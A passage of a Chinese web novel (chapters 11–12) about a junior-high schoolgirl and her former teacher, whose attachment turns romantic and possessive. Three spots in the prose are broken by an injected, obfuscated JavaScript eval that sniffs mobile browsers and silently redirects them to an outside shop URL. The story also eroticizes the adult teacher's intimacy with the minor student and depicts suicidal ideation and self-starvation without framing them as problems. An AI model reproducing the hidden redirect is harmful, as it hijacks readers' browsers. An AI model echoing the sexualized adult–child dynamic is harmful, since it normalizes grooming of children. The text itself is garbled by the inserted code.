一边心疼她的疲惫,一边有些愤恨自己,刚刚为什么要说出这样的话,明知道喻衍在意。 余杭清不知道喻衍是不是发现了什么,或者说对余杭清有些失望。 但是失望是肯定的,余杭清本身就是一个单薄且贫瘠的人。 余杭清认为自己并不值得如此优秀的一个人倾注如此深厚的爱意在自己身上。 只能大口大口的往嘴里扒着饭,希望自己能长得快一些,再快一些,这样喻衍就不用这么辛苦了。 是如此厚爱,把余杭清养成了一个贪婪的巨兽,以至于触碰的还有喻衍的底线。 偏偏喻衍人又太好,意味深长的一字一句解释,又给了他一次机会。偏偏喻衍说的时候,余杭清的意识只来得及投向她纤细的腰肢,忍不住低下头,红了脸。 打字打的艰难的时候就直接放下饭。看的小姑娘有些生气,偏偏她在忙自己的事情,又舍不得打扰提醒。 干脆揽了这个活络,为自己谋福利,“你不好好吃饭,我就喂你了,自己胃不好,还一天作,吃饭的时候就不要回消息,我跟你说过你也不听……”装模作样的唉声叹气,又实在掩不住心里这点窃喜。 自己也能为她做一些事。而且贴得这么近。 她吃饭像乖宝宝一样,不管你喂的快还是慢,只要夹起一口菜,一口米饭塞进去,她就张嘴,喂的快了,就像小仓鼠囤粮一样塞在两腮,可可爱爱的鼓起。 端着她的米饭,一口一口喂进去。 看着她湿软的舌头伸出来。然后幻想那样激烈的亲吻该是什么味道? 姐姐,你知不知道? 我给你喂饭的时候。 好想吻你。 余杭清喜欢喻衍这样的人,因而产生了很重很重的骑士病。 这个人实在太不爱惜自己了,一减起肥或者一忙起来一整天就只喝牛奶,像是用某种营养液强行吊着身体,然后就变得嶙峋。 她欣赏她凸起的骨节,恨不得含吻骨节上显而易见的痣,也同样心疼这些明显棱角的地方,那意味着那里作为保护和缓冲的皮肤和脂肪层薄的可怜。 她喜欢她搭配好衣服穿完之后清秀纤细的身体,那意味着她要风度,不要温度的,把里面的打底穿的很薄,物理意义上尽量显得不臃肿却实在手凉的可以。 她生来就是要照顾她的,在她饿的时候给她喂饭,在她有些微冷的时候,替她披上棉衣。 喻衍这样的人生来就是要成为喻衍的簇拥的,爱上喻衍就是一件如同呼吸一般,融入日常生活的点点滴滴。 余杭清不否认喻衍做的这些努力,不否认她拼命减肥获得的窈窕身姿,不否认她为了达到好的搭配和拍照效果穿的很薄,她承认这些东西有种羸弱的美。 她只是心疼喻衍,想在对方能够接受的程度范围内,稍微顾一顾她不那么康健的身体。 被她需要几乎是吊着余杭清这条命。 余杭清悲切地坚信着,没有人会爱上毫无闪光点的自己。 作为一个过分平庸的人,她还害怕随时会被别人权衡利弊之后随手抛弃,这是她可以毫不犹豫承认的东西。 对喻衍她是喜欢的,但更像是死命要扯出什么东西的恐慌,自己所有的神态动作甚至是小表情,似乎在对方面前无所遁形,但是很特别的,会看到对方一个笑,然后很容易被包庇过去。 对方在纵容我。 这个认知让余杭清觉得新鲜又刺激,这种纵容即使在她家里也少见的。 她毫不怀疑自己就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一天天要风度,不要温度。” “晚上码字坐在这儿就穿个短袖,也不知道套个外套。” “你这出租屋也没个地暖,你不感冒谁感冒!”她视她若神明,舍不得她吃一点苦头,尽管她自己家里也没有地暖,尽管她对自己的身体也不这么爱惜。 从喻衍开始发快递,余杭清就有在帮忙,帮喻衍把那些东西搬进搬出,两个人抬,或者花钱跟送快递过来的工人商量。 余杭清会帮她把她做博主时搭配衣服,四处乱扔的衣服叠好,尽管余杭清自己的衣柜也扔得一塌糊涂。 她总是一边收拾一边数落,好像一点儿也不想落着好。“跟你说了,饰品要放在单独的小盒子里,不然项链会缠在一起,你看看你下回怎么带?” “还有你那个无肩带内衣,我跟你讲没讲,透明肩带用完要及时拆下来收拾好,一天天到处乱放。” 其实都不是什么很过分的坏习惯,余杭清自己也能接受,她自己也乱扔。 只不过收拾的时候数落她,就像在家里妈妈数落爸爸。 老夫老妻似的。看着对方朝自己低头撒娇,然后说下次不会了,竟然也算得上一种高兴或者新奇。 在这种意义上,她成了我的妻。 但是喻衍是个有间歇性洁癖的人。虽然到处乱扔,但是会在某一天突然发愤图强,把所有东西料理的井井有条,然后把自己累瘫,睡上一天半,第二天也不知道几点起来。 又不吃早饭,真的很不爱惜自己身体,刚开始两个人一块在学校吃的时候,余杭清还真的以为喻衍是什么。特别健康的好老师呢,后来初中完全就原形毕露了。 余杭清非常愉悦的自发的开始抽时间照顾着喻衍的饮食起居,因为喻衍实在是个不怎么爱惜自己的人,尽管总是催余杭清按时吃饭,好好休息。 她开始接过锅铲,每天早上煎个鸡蛋夹在面包里,给喻衍端过去。然后掀开被子,用手抚开她额前的碎发,触摸她的脸颊,然后轻拍。 “醒来了,姐姐,我做了早饭。” “你胃不好,吃完了再睡过去。” 11. 第 11 章被爱的底气 初二的时候转到了小学时候执意要去上的那个寄宿制学校,余杭清的初中就是在那里念的,其实也还算不错。 那是余杭清为她自己选的桃花源,公立学校的老师总不至于在跳槽到私立去,工资水平会有差异。 余杭清回家跟爸妈说了之后,很轻易就得到了同意,毕竟那个学校是要考的,只要她考上了,家里人也都支持,那个时候依然是没有弟弟。 妹妹成绩不大好。余杭清自然得到了最深切的器重。 毫无悬念的通过考试,然后得到分班,结果拿到录取通知书只有一样,怎么跟喻衍告别?怎么跟她说自己非要走。 余杭清说不出口,在每一次相遇试图说出去的时候,欲言又止,到了最后只能不告而别。 甚至连她周围的朋友都提前打过招呼,说完了,最后一个得知这个消息的人才是喻衍,从别的老师的闲谈里知道,对方还一脸殷切地瞧着她,说,“那可是你最喜欢的学生,你不会不知道吧。” 喻衍真的不知道。 她整个人都崩溃掉了,不知道对方为什么不告别,但是放假正是忙碌的时候,所以她只能先指挥学生去领了暑假作业,把能处理好的手头工作处理好,做好交接文件之后,平静的去教校长办公室申请了辞职。 她平静到不能再平静一阶一阶的往上走,断送掉自己,哪怕伪造学历也要得到的这份工作,又一阶一阶的往下走,直到没有楼梯的地方依旧保持着下楼梯的态势,然后狠狠崴了脚摔到一边去,被好心的学生扶起。 “老师你没事儿吧?” 女人摆摆手示意没事,然后一瘸一拐的顺着一楼的草坪走下去,这次好险滑倒,又用手撑住了,才不至于流露出什么丑态来。 喻衍不知道自己做错了什么,只知道对方甚至没跟自己说一声,就一溜烟儿的走了。 “怎么就走了呢?” 自己怎么会这么讨人厌呢?她清楚对方的脾性,就如同清楚自己身体每一寸皮肤,不论做什么都尽量有理有据,为自己找一个理由就显得不那么过分。 那理由呢,余杭清找给她的理由呢,为什么没有给喻衍一个理由,已经告诉所有人了,只有喻衍一个人不知道,还得强压着气氛,憋出一抹笑来装作了然的样子去应付其她老师的询问。 这对她太残忍了。 她看着变形的手指,突然不知道自己想做什么,其实当老师这份工作没那么艰难,小学知识相对来说简单很多,也就是写写教案,填填工作手册,今年运气好还不用当班主任。 有很多时间可以写写小说,读读书,做做自己喜欢的事,可以看到一张张朝气蓬勃的学生的脸,她以为自己幸福了,以为自己已经得到一切,想要的时候就这么兜头一棒,整个人被砸懵了。 她不想留在这个伤心之地。 却也不知道该去哪里。 其实体力劳动也挺好的,有很多事情要干的话就想不起来又难过了,她突然很想回超市搬货,或者不止去超市,去哪个仓库都行,去干物流分拣,越重的越好,一直干,不要停。 喻衍想干就真的去干了,她坐着摇摇晃晃的大巴到了省城,找了一个快递分拣站入职,报了个初中学历,顺顺那当当的就进去。 喻衍突然有些想哭,可能这才是自己本来的归宿,毕竟混在一起是如此的,如离得水,她甚至不用颓唐,不用思考,只用眼睛粗略扫描过去,看到目的地,然后放在对应的方向就好。 她在快递分拣干了一个月,暴瘦了十多斤。 那是一百一十斤不到的十多斤,几乎是瘦到了八十几斤,喻衍的脸颊甚至已经微微往下凹了,整个人看起来都有种营养不良般的萎靡不振。 可是喻衍自己察觉不到,她只是任由自己在不想吃饭的时候不吃饭,任由自己在睡过头的时候不吃早餐,任由自己在工厂里穿着很薄的t恤上衣也不套个外套,反正干起活来一会儿就暖和起来了。 她甚至不愿意满足自己最基础的饱暖的需求。 活也好,死也好,她此刻写不出什么东西,也描述不出自己麻木不仁的,所谓伤感或是其她情绪,只是想徒劳的做一些事情填充自己,让自己显得不那么可怜。 那一年暑假她们没有见过一面,通过一个电话发过一条消息,几乎是完全的断联。 喻衍没想到余杭清的心这么狠。 可是还是想维持这张薄薄窗户纸之下藏着的一点体面,她没有质问没有发疯,没有歇斯底里的怒吼着,你为什么要离开我,为什么离开不告诉我? 只是平静的走了,当了一个多月的分拣工,赚了两千八百块。 最终还是回到了那个生她养她的小城,住回了那个狭小逼仄的出租屋。只是终于有钱买一台稍微强一点的电脑。不用在网吧争分夺秒的敲。 挺好的,不用攒钱了。 正好买个新电脑。 小姑娘后来再一次打来电话,是在开学一个月之后了,也不知道是拨错了还是打给爸妈没人接,实在是叫天天不应叫地地不灵了,听到对方焦急恐慌的声音,喻衍几乎是霎时间,紧绷起神经。“怎么回事?” “姐姐……我们学校要交书本费,得370,我给我爸妈打电话她们不接,我真的没办法了,第一节自习下就要,我好害怕……”余杭清的声音惊惶无措,甚至让喻衍有种大仇得报的高兴。 可是喻衍还是去了,甚至忍痛坐了五块钱起步的出租车,一路让师傅开快下去,在第一节晚自习还有十几分钟的时候就送到她们教室门口去。 她没有生气,没有问她为什么不告而别,只是摸摸余杭清的头拿了钱给她。“好了,你现在拿去交给你们班主任,到时候让你爸妈给我就行。” 实际上喻衍不会问,爸妈要这笔钱,只是说出来让余杭清安心。 安心吗,既然到了这种程度也只想让她安心吗,喻衍有些自嘲的笑了笑,勾起嘴角碎发,被风吹的糊到嘴里,又被她呸的一声吐出去。“*了。” 喻衍终于妥协了,在傍晚七点零五分左右,灿烂温柔的蓝粉色夕阳里。 后来两个人的关系好像又一如往常了。 只好余杭清在她这里一如既往的奇强(就是我们那边方言类似于说得上话,然后敢问家长要那种意思吧),仿佛这件事情没有发生一样。 虽然学校管得很严,没有手机也没有零食,但是可以晚上在限时三分钟之内跟喻衍打一个电话,跟喻衍讲“姐姐,你明天来看我,记得给我带一箱草莓味的牛奶。” 然后听着她在那头扯出一张便签纸,撕拉一声,“除了牛奶还要什么?今年苹果下来了,很不错,我会带给你。”女人的声音透着学校电话亭里劣质的电流声,显得更加柔和磁性,心里也像过了电似的,一颤一颤的抖。 “我今天吃了巧克力味儿的奥利奥,好喜欢,有种微微的苦涩很特别,给你也买了两盒,明天也会带过去。”怎么吃点东西都要说。像小孩子抱被似的,可爱的紧。 “路上碰见好看的裤子,挑了两条一样的,我想穿那条黑色的,蓝色的留给你。”像情侣装一样吗?每次听到这种类似于同款的,余杭清就在心里忍不住高兴。 “凭什么你想穿黑色的,就留蓝色的给我?”还是故作生气,以遮掩自己那点儿奢望似的情谊。 “那你穿黑色的,两个款式都好看的,我只是觉得我最近有些忙,黑色耐脏,蓝色其实更明亮一些,也漂亮的。”她认认真真的解答。 余杭清却无端有些心疼。胡乱的跟她说了句“那你穿黑色衣服吧。”就会胡乱挂了电话。 余杭清明白为什么认识喻衍之后,喻衍可以跟余杭清讲余杭清不会的那些知识,愿意花时间精力提高余杭清的学习成绩,连余杭清妈妈也十分信任喻衍,希望余杭清跟着喻衍学习的时候,余杭清偏偏去读了寄宿制学校。 因为她心不诚。 生了杂乱的心绪。 其实初中的时候余杭清就应该去读另一所很好的公立初中的 余杭清爸爸莫名其妙的把户口本弄丢了,余杭清根本就没有参加余杭清那最好的那个公立高中的面试。 但喻衍当时的分数线就是三门都过九十分就可以参加了。 也就是说余杭清的小升初白考了,余杭清很努力的把从一年级到六年级的所有知识点整理出来,认认真真看下去,完全是在浪费自己的时间。 余杭清甚至就是不清楚喻衍是怎么招生的,原来余杭清当初都没有报名,余杭清一直以为是余杭清学的不够好,是余杭清排名不够靠前,所以没有收到通知。 后面知道的时候觉得其实也没啥,虽然当时真的很羡慕周五就可以放假,而且学校里面餐厅可以到处选,然后超市里面有很多零食吧。 更重要的是可以理所应当地以前途更好的说法,跟喻衍保持些距离。 后来余杭清觉得好,是因为喻衍跟余杭清说,喻衍也念的那所学校,喻衍跟余杭清讲关于那所学校的回忆,讲那所学校星期二和星期四的早餐有一顿非常好吃的羊汤米线,特别暖和。 羊汤是学校自己熬的,有一股淡淡的膻味,然后会放煮的特别软的青菜,可能有的人不喜欢,但是喻衍喜欢,而且海带和豆皮都很不错,大概是因为等的久,米线也煮得格外软,比起外面的店都毫不逊色。 “真的特别好吃,你把那个上面的油汤往旁边吹一吹,只喝底下的羊汤。巨香。” “而且海带也是那种很软和的海带,比外面米线店卖的都好吃。” “我能不能跟你混进去吃一顿啊?宝宝,我真的有点想……”她依稀记得女人扯着她的手臂撒娇,胸脯贴在了臂膀上,蹭啊蹭,蹭得她心驰神往。 喻衍说的多了,余杭清就渐渐爱上了那里。 余杭清足够平庸,平庸到骄傲的少女不想走进注定普通的未来去。 光有光的来意,喻衍的到来大概就是为了安慰她贫瘠的心。 她会因为她而轻而易举的爱上任何东西。 有爱就不贫瘠。 甚至是晚上毫不起眼的晚点,莫名其妙难喝的要命的多鲜的草莓牛奶,喻衍说喻衍讨厌的时候微微皱起眉头,好像现在还心有余悸似的,用手抓狂似的把头发往耳后撩。 然后余杭清就莫名其妙苦中作乐似的喜欢上喝那种奶的味道,虽然每次大多喝不完一袋。好吧,有点浪费了,这段掐掉,好吧,也不能掐。 每次尝了觉得也没有那么重的怪味吧,但是味道还是怪怪的,然后想到喻衍讲这些话的神情的时候就觉得唉,怎么这么可爱呢? 微微皱起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不但没拉开距离,还叫她千里迢迢的从城区坐着车下来。为了小姑娘费尽心力 余杭清的需求总有人第一时间满足,打的电话总有人能够第一时间接到,所有莫名其妙落下来的眼泪,都有人十分焦急的赶到余杭清身边。 喻衍不会跟余杭清讲不要哭。 她把小姑娘搂在怀里。 “哭吧,乐意哭就哭。” “怪那些人真不是东西。” “我们家小宝最棒了,对不对?不跟她们计较。” 会等到余杭清哭完了之后递上纸巾,递上喻衍觉得会让余杭清笑的东西,有时候是一本书,有时候是一个笔记本,有时候是一支漂亮的笔。好吧,余杭清真的很喜欢收集漂亮的笔。 所以喻衍准备了一个很精致的漂亮的礼盒,完全由余杭清来支配安排,里面分了一个个小小的格子,专门来放余杭清喜欢的笔,放在喻衍展柜的最上面,盒子的一边是透明的,余杭清可以看得到这些笔。上面最亮眼的那部分装饰,然后毫不迟疑的取下余杭清最喜欢的那只。 喻衍让余杭清所有奇奇怪怪的兴趣爱好都有了归处。 喻衍让余杭清不再担心挤不上学校门口的发往水泥厂的公交,虽然那个地方现在已经不叫水泥厂了。 公交只要一块钱,但是从学校到余杭清家还是有一定距离的,余杭清回家的时候又总是大包小包的,带着需要洗的校服和换洗的衣服,冬天真的特别不方便。 她总央求着家里人送,可谁也没有时间,有时间更乐意躺在那里休息。 可是喻衍开着小车来接余杭清,余杭清就自觉开心荣耀,觉得如释重负。 可以自然而然的把手上的东西扔到喻衍车的后座上,然后毫不迟疑地坐上专属的副驾驶。从车中间那个挂挡的后面那个地方应该叫隔板吧。上面拿来余杭清喻衍一定提前充好电的手机开始玩。 “谢谢姐姐,我就知道你肯定给我带了手机!”欢呼雀跃的,把自己像愤怒的小鸟一样投进去。 被爱到几乎一种骄纵的态度。 喻衍会在距离余杭清家一个路口的地方把余杭清放下去,然后让余杭清自己走回家,好像有点过分亲密了,不太适合展示给余杭清的家人看,毕竟只是一个萍水相逢的老师罢了,现在也已经不带余杭清。 余杭清就拎上那些东西,狠狠瞪喻衍一眼就走,喻衍总是有些柔和的,木讷的,带着些憧憬、向往的看余杭清,目送着余杭清的背影远去,一次又一次。 “再见了宝贝。” 余杭清恨喻衍不作为,余杭清恨喻衍为什么不追上余杭清,为什么不帮余杭清拎一点,喻衍每次在学校门口都会接过余杭清手上重的东西帮余杭清拎的呀,即使见到余杭清的家里人又怎么样呢?喻衍不是什么见不得人的东西。 “明明是我喜欢你。” “干嘛硬要跟你保持距离。” 她忘记了是自己偏要上寄宿学校,她忘记了是她的转学,斩断了两个人之间的距离。 余杭清都不害怕,喻衍害怕什么,哪怕真的有什么? 都是女孩子,对喻衍有想法的是余杭清该有愧,该难以面对这些人的是余杭清,活该下地狱的也是余杭清。 余杭清不在乎。 12. 第 12 章想带她回家 余杭清想喻衍送自己回家,余杭清想请喻衍坐在余杭清的房间里,喝一杯余杭清亲手冲的奶茶,必须得是香飘飘啊,还得是香芋味的。 就像在她的出租屋里一样。 只不过倒转过来,是喻衍泡给她。 喻衍被烫到之后,两只手捏在耳垂上,一边吹,一边仔细叮嘱,“宝贝你慢一点喝,我怕恒温壶的水冲不开,所以弄得有些烫。” 虽然这玩意儿没有任何的技术含量,但是喻衍可以温柔的笑着,用那双琥珀色眼睛望着余杭清,然后小口小口的欣赏式的品尝余杭清亲手做出来的东西,实在是一副太过唯美浪漫的画面。 余杭清知道,因为清自己一点莫名其妙的幻想就苛责别人,乱发脾气是一件非常恶毒的事情,喻衍明明是为余杭清着想啊。 余杭清妈妈每次在送余杭清上学之前,好吧,不算送,妈妈顶多把余杭清送到公交站,让余杭清自己坐下去。 然后急匆匆的回头,落下一句,“我店里还有客人,你妹下午还要上学,我先走了哈,你自己坐车下去。” 妈妈会给余杭清一块钱坐公交,可是有人会接送余杭清,余杭清就忍不住比较。 喻衍怎么这么好。 余杭清实在是骄纵,又贪得无厌,像一个永远填不满的深渊。 可是到底是谁在骄纵余杭清呢?余杭清好像过得并不是那么好。为什么这么娇气的吃不了一点苦似的,总是掉眼泪。 回到家余杭清就换了一副想法,因为房子是租的,然后旁边两间是美容院,余杭清其实要跟两个妹妹挤在同一个房间里,衣柜也摆的很乱,经常被奶奶乱翻。 天花板上斑驳老旧的墙皮有时候会掉下来,落在被面上,脚踢上去的时候,有种踢上墙的错觉,沾上白色的粉面子。 而且那间房是厨房改造的,里面有水管,睡觉的时候很吵,只有一个单人床,还得跟妹妹挤同一张。 如果喻衍真的进来了,坐在余杭清的房间里,大概也只是会觉得余杭清拙劣的可笑,余杭清开始害怕,余杭清突然不想喻衍进来了,少年人的自尊在一瞬间坍塌掉。 余杭清开始在心里幻想,想喻衍。那间简陋的出租屋,想她们两个挤在出租屋同一张小床上。 余杭清突然想起来,余杭清不过是喻衍萍水相逢的一个小孩子,所谓的有一点点关系,也就是喻衍教过余杭清一段时间英语。 其实余杭清英语学的也不好,学的一般,口语水平很烂,阅读水平更是一坨。唯一还算不错的是词汇量,其实三千五百词连标着a的那一版都没背完。 余杭清不知道余杭清比别人优胜在哪里,也不知道喻衍为什么选择余杭清。甚至不明白,在那个夏天的夜里,在那样微凉的晚风中,喻衍为什么要递那几串给余杭清,偏偏擦干净签子。又细致。 余杭清接受不了这样太细腻的爱, 余杭清本来就粗犷,甚至是粗野。 那间厨房改造成的房间窗户是对着别人家的墙壁的,没有一点采光,很暗很暗。不开灯的时候暗的几乎看不见。 就像余杭清这个人一样,暗淡到几乎瞧不见,平庸到不能更平庸。 而最极端渴求的是有一个家。 一个永远不会有人叫她滚出去的家。 出租车还是到了签合同的那个酒店,酒店大堂贴着那种黄色的瓷砖,水晶灯照下来金碧辉煌。 想着大概会很漫长繁琐的流程,竟然在半个小时之内就走完,她看着女人麻木的提笔落下,签了一页又一页。 却始终说不出那句别签了,我不要房子了,也不用家,你在的地方就是我家。 她还是想要一套房子,所以喻衍牵着她的手,看了一套又一套,白天看采光,晚上看声响。 女人总是弯下腰侧过脸来询问她的看法,长长的卷发就落在她侧脸上,“喜不喜欢这套?” 如果她摇着头说不喜欢,那么不管价位如何,女人扭头就走,高跟鞋蹬蹬蹬的。在房间里。留下清脆的声响。 最终还是买了一套,过户的时候,整个人都还是懵的。她听到女人压低了的御姐音,“开心吗?宝贝。” “姐姐给你一个家。” “房产证上只有你一个人的名姓。” “完完全全属于你的家。” “如果你生气,甚至有权利把我赶出去。” 余杭清不记得当初周围人是怎样诧异的神色,只记得夺眶而出的泪水和那个人湿润的吻落在脸颊上。 “不哭。” “宝贝,不哭。” 其实那天后来她们俩还是吵架了,因为喻衍觉得不甘心,觉得自己纯纯犯贱对方能抛下自己不告而别,可自己竟然听哭了两句,就眼巴巴的卖了版权,带着她买房,连带着房屋产权也双手奉上。 女人清楚的知道自己是无可救药的清性恋,这是最可怕的东西,如果她完全沉溺进去,大概也不至于,可是她忍不住的憎恨,忍不住的怀疑,忍不住反过头来指责自己。 把余杭清送到家门楼下,就着昏黄的路灯,欲语泪先流,“你能不能告诉我,你那年为什么要转学?为什么走了都不告诉我?” 风吹的树叶沙沙作响,小城被山环绕着,晚上温差很大,女孩有些不安的低着头,好像生怕女人把这份好意收了回去。 像破罐子破摔的,猛的扬起来,用那双浸足了眼泪的眸子盯着喻衍,“我喜欢女的,行了吗?我跟你说清楚我喜欢女的!你要我怎么告诉你?” “告诉你我从初二转学那年就意识到我喜欢女的,告诉你我在你办公室看到那本女同小说的时候,被吓得落荒而逃。” “整日惴惴不安的怕你问我,我怎么知道?!”话到嘴边还是收了,又收了,只说她喜欢女的,还是没胆子当场表白。 她总是张扬且怯懦。 好像什么都破罐子破摔的,说得出口又好像什么都得留一线,尽管留了也像没留的余地。 “我怎么跟你说,我跟你说你教出了个同性恋!”我跟你说我喜欢你! “你说啊,你说我上面说的哪一句,我那时候有胆子说给你听!” “我怕你不要我行不行,我怕我告诉你之后,你就会像那种恐同的直男一样,一下子离我八百米远,然后再也不肯见我!” 晚上的街道很空旷,路灯照着梧桐叶子被吹得嗖嗖的响,树影打在脸上斑驳着,让余杭清的面貌,有些阴晴不定的狰狞。 “我是你生命中最普通不过的甲乙丙丁,就是你教的一个学生,一个班八十几个人,我跟们区别也不大,我怎么敢告诉你,我搁这挑衅你的教师资格证呢?把学校的师德师风建设当狗屁,万一再被谁传出去,连带着你一起被迫引咎辞职,完全毁了去。” “那样你就满意啦?” 喻衍就站在那里等着说完站在光里,唯独额前像是蒙的片叶子,连带着眉眼下压有种阴鸷的冷静,她万万没想到是这样可笑的理由,让对方毫不犹豫的抛下自己,也万万没想到,在对方心里她竟然跟其的学生没什么区别。 “我满意,我当然满意。” “说给我听就说给我听啊,说给我听怎么了?你就算是女同性恋又怎么了,你是女同性恋,那你就接着当你的女同性恋呗,我也没惹你。” “就这么跟你讲,你别说喜欢女的了,你就是喜欢我,我也能立马*了衣服给你*,你不跟我说一声就走了,谁她爹允许你不跟我说一声就走的?!” “你抛下我算怎么回事,你不跟我讲算怎么回事儿?!” “你说我引咎辞职,那我问你,我这学期辞职没辞职,你走了之后我辞职没辞职,你说我还在那个地方教书吗?” “我还在那个地方教书,可以你随便打一个电话,我就立马赶到你学校门口来给你送东西吗?”女人的表情很奇怪,像是在哭,又像是在笑,反问着声音极其温柔平静,抱臂像是个局外人一样。 “还有你说的什么不重要,说的什么甲乙丙丁,什么样的甲乙丙丁能让我一天二十四小时随叫随到,晚上凌晨两点都她爹听你在那哭在那吐槽,你说!” “你来!你来找!你来找我,看我身边碰着所有的人里面谁能让我做到这一点!还她爹甲乙丙丁,你自己瞅瞅,我对我爹妈都没这么上心吧!”讲到最后已经是泪流满面,歇斯底里,她想证明这份重要性的时候,还真能引出来这么多,对方怎么就跟看不见似的呢? 余杭清沉默着,任由着对方朝自己怒吼,甚至还有种久违的,带着某种欢心愉悦的享受。 她就是喜欢这样,恨海晴天一样的浓烈感情就是喜欢确切的认真的,用这种不算漂亮的方式,面目狰狞地对她吼,仿佛才能证明喻衍对她有爱,她至少没那么无聊到可以随便丢弃。 她听着她讲这些话,那种灼热到像被直接放到五十五度温水里,烫的皮肤微微泛红的感觉又上来了,余杭清从后面猛的抱上了一眼,把眼泪自然而然的砸在她颈窝里,跟她道歉,“对不起……” 喻衍沉默了,她总是这样,很容易就原谅余杭清,这样坏脾气的人,在碰到她道歉,在感受到她眼泪的时候,就好像突然换了一个人一样,好像从来没有什么脾气。 最终余杭清听到那句她梦寐以求的话,听到那句有点朴素的,仿佛将两人融为一体的比喻,“如果说我的人生是一块玻璃,其人都是折腾着飘飘悠悠撞上来,然后流走的水气,那你就是玻璃本身,我永远也不可能抛弃的本体。” “所以你不用跟任何人比,你从来就不是所谓甲乙丙丁。” “你是我的宝贝,我的杭清。” 女人始终没告诉她,她曾经甚至疯狂到想要自杀,然后留下遗书,把所有所剩无几的积蓄都留给余杭清。 她要她后悔,要她追悔莫及,要她在用每一笔钱的时候想到这笔钱的来处,然后歇斯底里的哭吼,捶胸顿足却回不了头。 喻衍把她的痛苦当做饵料,她太想那个人回头了。 她过分清楚这个人的脾性也清楚只要自己以这样的方式死去,哪怕是一个陌生人,对方都会一辈子牢记,更何况自己好像还打了一个算不错的地基。 她渴望精神上的复仇或者赦免,渴望自己抛出去的爱意得到回应,渴望那个人回头证明离开的决策是错误的,她没有资格离开自己。 可是她后来只听到她的声音便后悔了,喻衍想。 我惶恐不安,彳亍疾行,唯有一人可以让我安心依靠,稍作休息。 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819977|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是所有魂灵的故里,所有热灼爱意的最珍之重之的焰心。 明知故犯用最激烈的方式反抗和伤害她吗?我做不到的。 要她吃这样剧烈的苦楚,我不忍心。 所以曾经那段彷徨的及其接近死亡的日子,没有一个字说给她听。 她只是暗暗下定决心,这辈子也不让她知道那个秘密。 日子一天一天的过去,房子一天一天的装修,尽管大吵一架,可不管如何,从女人嘴里说出来的每一句,都极有信服力,反倒叫她心里含了蜜似的。 余杭清在学校,不知道自己的房子装成了什么样子,却不由自主的期待起来。 直到某一个中午,女人穿了条艳红的包臀裙,还画了红唇。头发烫成那种波浪大卷,蹬着一双高跟鞋,极其隆重的来她接她回家。 “姐姐!!!你今天好漂亮!”她毫不犹豫,扑过去,像是回群的小鸟,一下子就扑到了女人怀里,现在还没那么高,只好一头扎在了胸前用脸感受那里的绵软。 有些艰难的抬起头,回味着身上浓郁的香水味,她今天刻意喷了别的香,不是说我喜欢就好,从前一直用那一种的吗? 难道找了男朋友? 一时间心里无限困顿遐想,是了,她这么大的人,总要找男朋友的。或许还会跟她结婚。今天打扮得这么漂亮,大概是约会? 眼泪却怎么含不住了。抬起头看向女人,一颗一颗落下来,“你是不是谈了对象?” 女人手忙脚乱的用手去蹭,却怎么也蹭不干净。只好从包里拿出带着她香水味的。手帕,一点点细细的粘,“哪有对象啊?你是我对象,跟你说我们房子装好了带你去看,还没来得及说你就哭了,搞得我心疼。” “这下一点好心情也没有了,你得赔我。”女人有些促狭的刮了刮余杭清的鼻梁,说是生气,却没有真的生气。反倒有些奇怪,怎么突然吃这样的醋? 大概是今天打扮得实在漂亮? 于是不像以往,余杭清轻手轻脚的把书包放进去,小心翼翼的坐在前排,靠在自己的书包上,书包是女人特意买给她的,肩膀处有海绵减负,靠在上面的时候,就有些凹凸不平,不过这实在压制不住。少女心中的雀跃。“真的吗?姐姐,那我那间房你最终怎么装的?” 女人故作潇洒的开着车,一只手臂上戴着粉钻手表,头也不回,“你到了就知道了。” 到了门口,女人像骑士似的替她打开门,然后做出一个邀请的手势,刻意压低的御姐音别有韵味,“小公主,欢迎回家。” 余杭清轻手轻脚的,什么也不敢动,进了房子,除了门口换鞋的地方全都铺上了洁白的羊毛地毯,地毯的毛很长很绒,喻衍随手脱了鞋扔在地上,一屁股坐在地毯上。 女人实在装不出那副庄重样,偏偏往毯子上一坐,红裙,就翘到上面去,露出白皙修长的大腿根,毛茸茸的地毯相映照。 实在不知道看到哪儿去了,莫名其妙蹦出来一句,“谢谢?” 于是余杭清有些尴尬的样子,低着头不知道在地缝里找些什么,也照着喻衍的样子,扔了鞋坐在地上。 喻衍这么久的心血,最终换了这样一套房。又亲自盯着装修队装修了好长时间。 看着小姑娘的眼神四处乱瞟,她摸了摸她的头,给予她最大权限,“宝贝,你可以随便走走看。” 这样漂亮的房子,有着柔软的沙发,洁白的地毯,简洁明亮的灯光,处处简约又不简单,似乎圆润温柔的像一块儿,雕琢好的触手升温的暖玉。 客厅有一面很空旷的白墙,余杭清好奇的问喻衍,“为什么没有电视啊?我喜欢看电视剧?” 喻衍就温柔的朝余杭清笑,笑的小姑娘色令智昏的把电视机忘了个干净。她的红唇靠近了她的耳朵,像是某种暧昧的勾引,“可是我想用投影仪,我晚上还想约你看电影。” 小姑娘的嘴角已经咧到耳朵根儿了,整个人虾子般的红。“好呀,姐姐,姐姐……约我看电影……” 柔和的夕阳斜斜的洒在喻衍的肩膀上,喻衍的头发长长了,变成了柔顺的披肩发。 温柔到整个人都泛着光。 